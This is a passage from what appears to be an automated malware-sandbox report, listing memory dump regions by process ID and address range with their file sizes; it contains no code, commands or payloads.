                                                                                                                                    • memory/1636-796-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.6MB

                                                                                                                                    • memory/1636-791-0x0000000002280000-0x0000000002288000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      32KB

                                                                                                                                    • memory/1636-793-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.6MB

                                                                                                                                    • memory/1744-111-0x0000000000230000-0x000000000023B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      44KB

                                                                                                                                    • memory/1744-146-0x0000000000400000-0x0000000000437000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      220KB

                                                                                                                                    • memory/1744-110-0x00000000005D0000-0x00000000006D0000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1024KB

                                                                                                                                    • memory/1744-112-0x0000000000400000-0x0000000000437000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      220KB

                                                                                                                                    • memory/1756-508-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.9MB

                                                                                                                                    • memory/1756-511-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.9MB

                                                                                                                                    • memory/1880-574-0x0000000000230000-0x0000000000262000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      200KB

                                                                                                                                    • memory/1880-573-0x0000000002080000-0x0000000002180000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1024KB

                                                                                                                                    • memory/1952-505-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.2MB

                                                                                                                                    • memory/1952-587-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.2MB

                                                                                                                                    • memory/1956-334-0x0000000140000000-0x00000001405E8000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      5.9MB

                                                                                                                                    • memory/1956-320-0x0000000140000000-0x00000001405E8000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      5.9MB

                                                                                                                                    • memory/1972-122-0x0000000002CB0000-0x000000000359B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      8.9MB

                                                                                                                                    • memory/1972-182-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.1MB

                                                                                                                                    • memory/1972-186-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.1MB

                                                                                                                                    • memory/1972-123-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.1MB

                                                                                                                                    • memory/1972-120-0x00000000028B0000-0x0000000002CA8000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.0MB

                                                                                                                                    • memory/1972-121-0x00000000028B0000-0x0000000002CA8000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.0MB

                                                                                                                                    • memory/2064-439-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.1MB

                                                                                                                                    • memory/2064-360-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.1MB

                                                                                                                                    • memory/2064-308-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      9.1MB

                                                                                                                                    • memory/2064-307-0x0000000002740000-0x0000000002B38000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.0MB

                                                                                                                                    • memory/2064-306-0x0000000002740000-0x0000000002B38000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.0MB

                                                                                                                                    • memory/2112-457-0x0000000001E50000-0x0000000001F6B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.1MB

                                                                                                                                    • memory/2112-454-0x0000000000220000-0x00000000002B2000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      584KB

                                                                                                                                    • memory/2304-144-0x0000000000400000-0x00000000005DB000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.9MB

                                                                                                                                    • memory/2304-153-0x0000000000400000-0x00000000005DB000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.9MB

                                                                                                                                    • memory/2304-158-0x0000000000400000-0x00000000005DB000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.9MB

                                                                                                                                    • memory/2416-491-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.2MB

                                                                                                                                    • memory/2416-462-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.2MB

                                                                                                                                    • memory/2640-597-0x0000000000220000-0x0000000000224000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      16KB

                                                                                                                                    • memory/2640-595-0x0000000000C72000-0x0000000000C83000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      68KB

                                                                                                                                    • memory/2640-774-0x00000000008E2000-0x00000000008F2000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/2656-283-0x0000000000400000-0x0000000000930000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      5.2MB

                                                                                                                                    • memory/2656-285-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4KB

                                                                                                                                    • memory/2656-414-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4KB

                                                                                                                                    • memory/2656-358-0x0000000000400000-0x0000000000930000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      5.2MB

                                                                                                                                    • memory/2704-666-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.9MB

                                                                                                                                    • memory/2704-509-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4.9MB

                                                                                                                                    • memory/2884-178-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      80KB

                                                                                                                                    • memory/2884-78-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      80KB

                                                                                                                                    • memory/3008-143-0x00000000047B0000-0x000000000498B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.9MB

                                                                                                                                    • memory/3008-319-0x00000000047B0000-0x000000000498B000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      1.9MB

                                                                                                                                    • memory/3008-179-0x0000000000400000-0x00000000004BC000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      752KB

                                                                                                                                    • memory/3008-282-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4KB

                                                                                                                                    • memory/3008-86-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                                      Filesize

                                                                                                                                      4KB